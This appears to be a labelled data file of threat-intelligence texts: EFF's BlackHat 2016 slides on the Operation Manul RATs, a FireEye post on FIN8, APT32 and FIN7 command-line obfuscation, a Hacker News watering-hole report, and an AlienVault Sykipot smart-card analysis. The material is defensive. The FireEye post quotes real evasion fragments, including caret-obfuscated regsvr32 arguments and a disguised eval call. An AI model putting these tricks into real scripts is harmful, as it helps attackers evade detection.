to @Adamb who hosts one of the best persistence/DFIR blogs out there. He wrote about the existence of net helper DLLs back in 2013: http://www.hexacorn.com/blog/2013/08/21/da-lil-world-of-dll-exports-and-entry-points-part-3/ -Matt","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BlackHat USA 2016 When Governments Attack! Eva Galperin / Global Policy Analyst / eva@eff.org Cooper Quintin / Staff Technologist / cooperq@eff.org mailto:eva@eff.org mailto:cooperq@eff.org BlackHat USA 2016 Whois? Eva Galperin Cooper Quintin Morgan Marquis-Boire Claudio Guarnieri BlackHat USA 2016 What is EFF? BlackHat USA 2016 \xe2\x80\x9cWhat Binge On does, it includes a proprietary technology and what the technology does is not only detect the video stream but select the appropriate bit rate to optimize to the video, the mobile device. That\xe2\x80\x99s part A of my answer. Part B of my answer is, who the fuck are you, anyway, EFF? Why are you stirring up so much trouble, and who pays you?\xe2\x80\x9d - John Legere BlackHat USA 2016 Q: Who the Fuck are you, anyway, EFF? BlackHat USA 2016 Legal Work BlackHat USA 2016 BlackHat USA 2016 Q: Why are you stirring up so much trouble? BlackHat USA 2016 Activism BlackHat USA 2016 International Work BlackHat USA 2016 Technology BlackHat USA 2016 Q: Who pays you? BlackHat USA 2016 Targeted Attacks BlackHat USA 2016 BlackHat USA 2016 Ethiopia BlackHat USA 2016 Iran BlackHat USA 2016 Pawn Storm / FancyBear / APT28 BlackHat USA 2016 Operation Manul Nobody Cares About Kazakhstan BlackHat USA 2016 Kazakhstan is here! BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 KZ! BlackHat USA 2016 KZ! BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 NO DOGS WERE HARMED IN THE MAKING OF THIS TALK. WE LOVE DOGS. PLEASE ENJOY THIS UNICORN PICTURE. BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 I got a letter from the government the other day... BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 Mukhtar Ablyazov BlackHat USA 2016 Unveiling Operation Manul BlackHat USA 2016 BlackHat USA 2016 JRat / Jacksbot BlackHat USA 2016 JRat / Jacksbot \xe2\x80\xa2 Java Based \xe2\x80\xa2 Multi Platform \xe2\x80\x93 Win, Mac, Linux, Solaris, *BSD \xe2\x80\xa2 Plugin Architecture and API \xe2\x80\xa2 Cheap! BlackHat USA 2016 JRat / Jacksbot Server UI BlackHat USA 2016 JRat / Jacksbot View Remote Screen BlackHat USA 2016 JRat / Jacksbot Control Panel BlackHat USA 2016 JRat / Jacksbot - Other Features \xe2\x80\xa2 Process List \xe2\x80\xa2 Remote Shell \xe2\x80\xa2 Chat \xe2\x80\xa2 Edit Registry \xe2\x80\xa2 Manage Remote Filesystem BlackHat USA 2016 JRat / Jacksbot - Plugins \xe2\x80\xa2 Turn on remote webcam \xe2\x80\xa2 Disable webcam indicator light \xe2\x80\xa2 Password Recovery \xe2\x80\xa2 Keylogger \xe2\x80\xa2 Reverse SOCKS Proxy \xe2\x80\xa2 Roll Your Own... BlackHat USA 2016 JRat / Jacksbot - Anti Analysis \xe2\x80\xa2 Bytecode obfuscated with Zendix Klass Master \xe2\x80\xa2 Encrypted config file \xe2\x80\xa2 Decryption key hidden in zip file metadata \xe2\x80\xa2 Detect Virtualization BlackHat USA 2016 Bandook \xe2\x80\xa2 Another off the shelf, commodity RAT \xe2\x80\xa2 Continuously developed over a number of years \xe2\x80\xa2 Only targets Windows \xe2\x80\xa2 Modular: \xe2\x80\x93 Start shell, record sound, record video, keylogger, take screenshots, etc. etc. BlackHat USA 2016 C&C Servers Axroot.com, Adobeair.net, kaliex.net\xe2\x80\xa6 \xe2\x80\xa2 Windows servers, running XAMPP \xe2\x80\xa2 Do not appear to be shared hosts \xe2\x80\x93 Not many domains / shared document root \xe2\x80\xa2 But they are not sitting idle! \xe2\x80\x93 Many open ports and many open directories BlackHat USA 2016 C&C Servers Axroot.com, Adobeair.net, kaliex.net\xe2\x80\xa6 \xe2\x80\xa2 Windows servers, running XAMPP \xe2\x80\xa2 Do not appear to be shared hosts \xe2\x80\x93 Not many domains / shared document root \xe2\x80\xa2 But they are not sitting idle! \xe2\x80\x93 Many open ports and many open directories BlackHat USA 2016 Other Targets BlackHat USA 2016 Other Targets BlackHat USA 2016 Attribution Is Hard BlackHat USA 2016 Links to Kazakhstan \xe2\x80\xa2 Common thread between targets \xe2\x80\x93 Legal disputes against KZ government \xe2\x80\xa2 Phishing at private email address \xe2\x80\x93 Subpoenaed by Kazakhstan \xe2\x80\xa2 Arcanum Global Intelligence \xe2\x80\x93 Cyber Intelligence Operations \xe2\x80\x93 Hired by KZ to gather intel on Ablyazov family BlackHat USA 2016 BlackHat USA 2016 Links Between Operation Manul and Appin \xe2\x80\xa2 Overlapping domains with hangover, including appinsecurity.com \xe2\x80\xa2 Alleged use of Hackback trojan / similar to trojan used in Oslo \xe2\x80\x93 Unable to verify this BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 Other Considerations BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 BlackHat USA 2016 It doesn\xe2\x80\x99t need to be sophisticated to work. BlackHat USA 2016 We could(n\xe2\x80\x99t) be heroes BlackHat USA 2016 What do we do? \xe2\x80\xa2 Outreach community relations/trust building \xe2\x80\xa2 Incident response malware analysis /forensics/threat intel \xe2\x80\xa2 Education training/IT support/help desk \xe2\x80\xa2 Policy research legal/law enforcement \xe2\x80\xa2 Advocacy awareness/policy change \xe2\x80\xa2 Follow up with other affected parties BlackHat USA 2016 What do we do? \xe2\x80\xa2 Outreach community relations/trust building \xe2\x80\xa2 Incident response malware analysis /forensics/threat intel \xe2\x80\xa2 Education training/IT support/help desk \xe2\x80\xa2 Policy research legal/law enforcement \xe2\x80\xa2 Advocacy awareness/policy change \xe2\x80\xa2 Follow up with other affected parties BlackHat USA 2016 What is to be done? BlackHat USA 2016 What industry can do \xe2\x80\xa2 Anti-virus state sponsored warnings \xe2\x80\xa2 Better state-sponsored warnings BlackHat USA 2016 What you can do BlackHat USA 2016 BlackHat USA 2016 Pick a cause you care about and get involved. BlackHat USA 2016 What Else Can You Do? \xe2\x80\xa2 If you have research related to the actors behind Operation Manul publish it, or send it to us! \xe2\x80\xa2 Donate to EFF! BlackHat USA 2016 Takeaways \xe2\x80\xa2 None of this research is \xe2\x80\x9csexy\xe2\x80\x9d. The tools and the actors aren\xe2\x80\x99t sophisticated. \xe2\x80\xa2 Attacks don\xe2\x80\x99t need to be sophisticated to work. \xe2\x80\xa2 But it\xe2\x80\x99s not every day that malware research can prevent people from getting kidnapped or killed, and expose state crimes. BlackHat USA 2016 Acknowledgements \xe2\x80\xa2 Huge thanks to our fellow researchers: Morgan Marquis- Boire and Claudio Guarnieri. \xe2\x80\xa2 Operation Hangover: Snorre Fagerland, Morten Kr\xc3\xa5kvik, Jonathan Camp, Ned Moran. \xe2\x80\xa2 Hex-Rays, Joe Sandbox, Virus Total, Passive Total for donation of their services and software. \xe2\x80\xa2 Additionally we\xe2\x80\x99d like to thank David Greene, Jamie Lee Williams, Meghan Fenzel, Nate Cardozo, Kurt Opsahl, Soraya Okuda, and Marion Marschalek, for their patience, help, support, and advice. BlackHat USA 2016 Further Reading Operation Hangover: http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_India\xe2\x80\xa6 Oslo Freedom Forum: https://www.f-secure.com/weblog/archives/00002554.html Iran 2FA Spearphishing: https://citizenlab.org/2015/08/iran_two_factor_phishing/ Pawn Storm EFF Report: https://www.eff.org/deeplinks/2015/08/new-spear-phishing\xe2\x80\xa6. Wassenaar: https://www.eff.org/deeplinks/2015/05/we-must-fight-proposed-us-wassenaar-impl\xe2\x80\xa6. Kidane V. Ethiopia: https://www.eff.org/cases/kidane-v-ethiopia Ethiopia and FinFisher: https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global... Human Rights Watch Report on Kazakhstan: https://www.hrw.org/world-report/2015/country- chapters/kazakhstan http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf https://www.f-secure.com/weblog/archives/00002554.html https://citizenlab.org/2015/08/iran_two_factor_phishing/ https://www.eff.org/deeplinks/2015/08/new-spear-phishing-campaign-pretends-be-eff https://www.eff.org/deeplinks/2015/05/we-must-fight-proposed-us-wassenaar-implementation https://www.eff.org/cases/kidane-v-ethiopia https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/ https://www.hrw.org/world-report/2015/country-chapters/kazakhstan https://www.hrw.org/world-report/2015/country-chapters/kazakhstan https://www.hrw.org/world-report/2015/country-chapters/kazakhstan","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Obfuscation in the Wild: Targeted Attackers Lead t... Threat Research Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques June 30, 2017 | by Daniel Bohannon, Nick Carr Obfuscation Evasion Techniques Throughout 2017 we have observed a marked increase in the use of command line evasion and obfuscation by a range of targeted attackers. Cyber espionage groups and financial threat actors continue to adopt the latest cutting-edge application whitelisting bypass techniques and introduce innovative obfuscation into their phishing lures. These techniques often bypass static and dynamic analysis methods and highlight why signature-based detection alone will always be at least one step behind creative attackers. In early 2017, FIN8 began using environment variables paired with PowerShell\xe2\x80\x99s ability to receive commands via StdIn (standard input) to evade detection based on process command line arguments. In the February 2017 phishing document \xe2\x80\x9cCOMPLAINT Homer Glynn.doc\xe2\x80\x9d (MD5: cc89ddac1afe69069eb18bac58c6a9e4), the file contains a macro that sets the PowerShell command in one environment variable (_MICROSOFT_UPDATE_CATALOG) and then the string \xe2\x80\x9cpowershell -\xe2\x80\x9d in another environment variable (MICROSOFT_UPDATE_SERVICE). When a PowerShell command ends in a dash then PowerShell will execute the command that it receives via StdIn, and only this dash will appear in powershell.exe\xe2\x80\x99s command line arguments. Figure 1 provides the commands that were extracted using Mandiant consultant Nick Carr\xe2\x80\x99s FIN8 macro decoder. Figure 1: FIN8 environment variable commands extracted from \xe2\x80\x9cCOMPLAINT Homer Glynn.doc\xe2\x80\x9d macros To evade many detections based on parent-child process relationships, FIN8 crafted this macro to use WMI to spawn the cmd.exe execution. Therefore, WinWord.exe never creates a child process, but the process tree looks like: wmiprvse.exe > cmd.exe > powershell.exe. FIN8 has regularly used obfuscation and WMI to remotely launch their PUNCHTRACK POS-scraping malware, and the 2017 activity is an implementation of these evasion techniques at an earlier stage of compromise. As new application whitelisting bypass techniques have surfaced, targeted attackers have quickly adopted these into their campaigns with extra layers of obfuscation to stay ahead of many defenders. Many groups leverage the regsvr32.exe application whitelisting bypass, including APT19 in their 2017 campaign against law firms. The cyber espionage group APT32 heavily obfuscates their backdoors and scripts, and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017. Instead of using the argument /i:http for the regsvr32.exe bypass, APT32 used cmd.exe obfuscation techniques to attempt to break signature-based detection of this argument. At FireEye we have seen them include both /i:^h^t^t^p and /i:h\xe2\x80\x9dt\xe2\x80\x9dt\xe2\x80\x9dp in their lures. Figure 2 shows a redacted screenshot of our Host Investigative Platform (HIP) capturing real-time attacker activity during one of our Mandiant incident response engagements for APT32 activity. Figure 2: APT32 command obfuscation for regsvr32.exe application whitelisting bypass Meanwhile, FIN7 has continued to wreak havoc on the restaurant, hospitality, and financial services sectors in 2017. To ensure their arsenal did not grow stale, in April 2017 FIN7 shifted to using wscript.exe to run JavaScript payloads that retrieve an additional payload hidden in the phishing document by use of the Word.Application COM object. This week, FireEye identified FIN7 introducing additional obfuscation techniques at both the JavaScript and cmd.exe levels. These methods rely on FIN7\xe2\x80\x99s preferred method of hiding shortcut files (LNK files) in their DOCX and RTF phishing documents to initiate the infection. At the time of this blog, the files implementing this technique were detected by 0 antivirus engines. For JavaScript, instead of specifying \xe2\x80\x9cWord.Application\xe2\x80\x9d for the COM object instantiation, FIN7 began concatenating the string to \xe2\x80\x9cWor\xe2\x80\x9d+\xe2\x80\x9dd.Application\xe2\x80\x9d. In addition, JavaScript\xe2\x80\x99s suspicious \xe2\x80\x9ceval\xe2\x80\x9d string was transformed into \xe2\x80\x9cthis[String.fromCharCode(101)+\xe2\x80\x99va\xe2\x80\x99+\xe2\x80\x99l\xe2\x80\x99]\xe2\x80\x9d. Finally, they used a little-known character replacement functionality supported by cmd.exe. The wscript.exe command is set in a process-level environment variable \xe2\x80\x9cx\xe2\x80\x9d, but is obfuscated with the \xe2\x80\x9c@\xe2\x80\x9d character. When the \xe2\x80\x9cx\xe2\x80\x9d variable is echoed at the end of the script the \xe2\x80\x9c@\xe2\x80\x9d character is removed by the syntax \xe2\x80\x9c%x:@=%\xe2\x80\x9d. Figure 3 shows this command extracted from a LNK file embedded within a new FIN7 phishing document. Figure 3: FIN7 command obfuscation from LNK file phishing document In this example, FIN7 implements FIN8\xe2\x80\x99s passing of commands via StdIn \xe2\x80\x93 this time passing it to cmd.exe instead of powershell.exe \xe2\x80\x93 but the evasion effect is the same. While this example will expose these arguments in the first cmd.exe\xe2\x80\x99s command execution, if this environment variable were set within the LNK or a macro and pushed to cmd.exe via StdIn from VBA, then nothing would appear on the command line. The\xc2 FireEye iSIGHT Intelligence MySIGHT Portal\xc2 contains detailed information on these attackers \xe2\x80\x93 and all financial and cyber espionage groups that we track \xe2\x80\x93 including analysis of their malware, tactics, and further intelligence attribution. We fully expect targeted attackers to continue this pattern of adopting new bypass techniques and adding innovative obfuscation at both the macro and command line levels. As for what we might see next, we\xe2\x80\x99d recommend reading up on DOS command line tricks so that monitoring your network isn\xe2\x80\x99t the first time you see new attacker tricks. Network defenders must understand what obfuscation is possible, assess their endpoint and network visibility, and most importantly not rely on a single method to detect these attacks. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","0","0","0","1","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"Follow us \xef\x82\x9a \xef\x82\x99 \xef\x83\xa1 \xef \xa7\xef\x82\x9e The Hacker News Logo Click to Subscribe HomeCyber AttacksVulnerabilitiesDealsContact\xef\x83\x89\xee \x80 Chinese Hackers Carried Out Country-Level Watering Hole Attack \xee \x82June 14, 2018\xee \x84Swati Khandelwal cyber-espionage-watering-hole-attack Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks. The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called LuckyMouse. LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year. The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors. This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain ""access to a wide range of government resources at one fell swoop."" According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks. chinese hackers watering hole attack Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center. The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center. The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration. ""There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites,"" the researchers said in a blog post published today. ""These events suggest that the data center infected with HyperBro and the waterholing campaign are connected."" As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger. The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016. Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. \xef\x82\x9aShare\xef\x82\x99Tweet\xef\x83\xa1Share\xef\x87 Share\xee \x83Comments cyber defense Popular This Week New SIM Card Flaw Lets Hackers Hijack Any Phone Just By Sending SMS New SIM Card Flaw Lets Hackers Hijack Any Phone Just By Sending SMS Yikes! iOS 13 Coming Next Week With iPhone LockScreen Bypass Bug Yikes! iOS 13 Coming Next Week With iPhone LockScreen Bypass Bug NetCAT: New Attack Lets Hackers Remotely Steal Data From Intel CPUs NetCAT: New Attack Lets Hackers Remotely Steal Data From Intel CPUs WhatsApp 'Delete for Everyone' Doesn't Delete Media Files Sent to iPhone Users WhatsApp 'Delete for Everyone' Doesn't Delete Media Files Sent to iPhone Users 125 New Flaws Found in Routers and NAS Devices from Popular Brands 125 New Flaws Found in Routers and NAS Devices from Popular Brands Popular Period Tracking Apps Share Your Sexual Health Data With Facebook Popular Period Tracking Apps Share Your Sexual Health Data With Facebook US Sanctions 3 North Korean Hacking Groups Accused for Global Cyber Attacks US Sanctions 3 North Korean Hacking Groups Accused for Global Cyber Attacks Latest Stories Related Stories Exclusive Deals Learn Ethical Hacking Online Learn Ethical Hacking [Training] Lifetime Access 99% Discount Unlimited Secure VPN Service Unlimited Secure VPN Lifetime Access 92% Discount Best Hacking Books Best Hacking Books [Download] Super Bundle 95% Discount Cisco Certification Courses Cisco Certifications Training Lifetime Access 98% Discount Stay Informed \xe2\x80\x94 Newsletter Sign Up Sign up for THN newsletter and get our latest stories delivered straight to your inbox. Email Enter your email address Follow Us \xef\x82\x99 580,000 Followers \xef\x82\x9a 2,055,000 Followers \xef\x83\xa1 70,000 Fans \xef \xa7 9,000 Subscribers \xef \xad 65,000 Followers About About Us Advertising Editorial Team Contact Pages RSS Feeds Deals Store Privacy Policy Copyright Policy Deals Exclusives Hacking Development Android \xef\x82\x9e RSS Feeds \xef\x83 Contact Us \xef\x8b\x86 Telegram Channel \xc2\xa9 The Hacker News, 2019. All Rights Reserved.","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Alienvault is now AT&T announcement ALIENVAULT IS NOW AT&T CYBERSECURITY AT&T Cybersecurity ALIEN LABS Sykipot variant hijacks DOD and Windows smart cards JANUARY 12, 2012 | JAIME BLASCO Twitter LinkedIn Facebook Reddit Defenses of any sort, virtual or physical, are a means of forcing your attacker to attack you on your terms, not theirs. As we build more elaborate defenses within information security, we force our attacker\xe2\x80\x99s hand. For instance, in many cases, implementing multi-factor authentication systems just forces the attacker to go after that system directly to achieve their goals. Take the breach at RSA, for example. It has been attributed to attackers who needed the SecurID information to go after their real targets in the defense industry. As we discussed, this malware has been used to launch targeted attacks via \xe2\x80\x9cspear phishing\xe2\x80\x9d campaigns against targets mainly in the US, since around 2007. According to our research, these attacks originate from servers in China with what appears to be the purpose of obtaining information from the defense sector: the same sector that makes extensive use of PC/SC x509 Smartcards for authentication. Smartcards have a long history of usage in the Defense Sector, for both physical and information access management, and historically have merely forced attackers to route around the smartcard authentication system through other, more vulnerable attack vectors. It should come as no surprise, then, that we recently discovered a variant of Sykipot with some new, interesting features that allow it to effectively hijack DOD and Windows smart cards. This variant, which appears to have been compiled in March 2011, has been seen in dozens of attack samples from the past year. Like we have shown with previous Sykipot attacks, the attackers use a spear phishing campaign to get their targets to open a PDF attachment which then deposits the Sykipot malware onto their machine (the attackers here took advantage of a zero-day exploit in Adobe). Then, unlike previous strains, the malware uses a keylogger to steal PINs for the cards. When a card is inserted into the reader, the malware then acts as the authenticated user and can access sensitive information. The malware is controlled by the attackers from the command & control center. Here is more detail on the attack: Smartcard access The \xef\xac\x81rst one is that it creates a new thread with a keylogger routine. The code is very basic, it stores the window name and the keys pressed under a \xef\xac\x81le named MSF5F0.dat on an unencrypted format, example: Title:Internet Explorer www.google.es Title:My Computer It uses the WIN32 API\xca\xbcs functions [GetKeyState, GetAsyncKeyState, GetForegroundWindow, GetWindowTextA]. It also saves the information contained in the clipboard using the native functions: OpenClipboard, GetClipboardDataand CloseClipboard. This code is very similar to other pieces of APT\xca\xbcs like: http://contagiodump.blogspot.com/2010/07/apt-activity-monitor-keylogger.html Apart from this we found two more modules that attracted our attention. The \xef\xac\x81rst one is capable of listing all the certificates that are stored on the windows key store: This next routine is called if the command \xe2\x80\x9ccl\xe2\x80\x9d is present on the con\xef\xac\x81g \xef\xac\x81le fetched from the C&C. When you insert a smart card into a reader attached to a Windows computer, the certi\xef\xac\x81cate on the smart card is registered to the local certi\xef\xac\x81cate store on the client computer. The second one is even more interesting: It loads: C:Program FilesActivIdentityActivClient\x07cpkcs201.dll (a module that handles some of the functions related with ActivIdentity\xca\xbcs ActivClient solution.) ActivClient is a smart card-based PKI authentication solution for compliance with: U.S. Government Smart Card Interoperability Specifications GSC-IS 2.1 U.S. General Services Administration (GSA) Basic Services Interface (BSI) (In fact it is one of the platforms used to support the Department of Defense common access card - DoD CAC) This routine is called if the command \xe2\x80\x9ccm\xe2\x80\x9d is present on the con\xef\xac\x81g \xef\xac\x81le fetched from the C&C: So, the modus operandi of the attackers is listing the certificates present on the victim\xca\xbcs computer included the smartcards, stealing the PIN using the keylogger module and then use this information to log onto remote resources protected with certificates/smartcards. To log onto protected resources they have implemented the command \xe2\x80\x9ckrundll\xe2\x80\x9d, if the C&C sends that command, the victim receives a new dll that implements the required code to login using the certi\xef\xac\x81cate and the stolen PIN. This DLL implements the \xe2\x80\x9cLoginFunc\xe2\x80\x9d and \xe2\x80\x9cGetFunc\xe2\x80\x9d. These methods will contain all the code depending on the application used: Summary We have seen how the attackers are implementing different techniques to bypass two-factor authentication with smartcard/PIN to access protected resources on the victim\xca\xbcs network. By capturing the PIN for the smartcard and binding the certificate, malware can silently use the card to authenticate to secure resources, so long as the card remains physically present in the card reader. This is similar to what Mandiant described on the 2011 M-Trends report as a \xe2\x80\x9cSmart Card Proxy\xe2\x80\x9d. While trojans that have targeted smartcards are not new, there is obvious siginficance to the targeting of a particular smartcard system in wide deployment by the US DoD and other government agencies, particularly given the nature of the information the attackers seem to be targeting for exfiltration. Implications As defenses get better, attackers will continue to change their tactics to adapt, and as seen here, will hijack the very systems designed to provide more security, if necessary. An interesting by-product of this malware\xe2\x80\x99s necessity of having the card physically present is that attackers can only leverage it for secure authentication to target systems, during times that the user them is physically present at the workstation, making unauthorized activity that much more difficult to discern from legitimate usage. Although smart cards are designed to provide a two factor system of \xe2\x80\x98chip and pin\xe2\x80\x99, again we see that true two-factor authentication is not possible without a physical component that is not accessible digitally. Jaime Blasco About the Author: Jaime Blasco Jaime Blasco is a renowned Security Researcher with broad experience in network security, malware analysis and incident response. At AT&T Cybersecurity, Jaime leads the Alien Labs Intelligence and Research team that leads the charge of researching and integrating threat intelligence into detection mechanisms. Prior to working at AT&T, Jaime was Chief Scientest at AlienVault. Prior to that, he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. He is based in San Francisco. Jaime's work in emerging threats and targeted attacks is frequently cited in international publications such as New York Times, BBC, Washington Post and Al Jazeera. Read more posts from Jaime Blasco \xe2\x80\xba TAGS: \xe2\x80\xb9 BACK TO ALL BLOGS Watch A Demo \xe2\x80\xba AT&T Business From the Blog Office of the CSO Office of the CSO Sep 17, 2019 There\xe2\x80\x99s no such thing as an entry-level job in cybersecurity Explore All Blog Posts \xe2\x80\xba Twitter Linkedin Facebook Youtube Instagram Slideshare Spiceworks Who We Are Meet AT&T Cybersecurity Alien Labs Management Team Customers Careers Contact 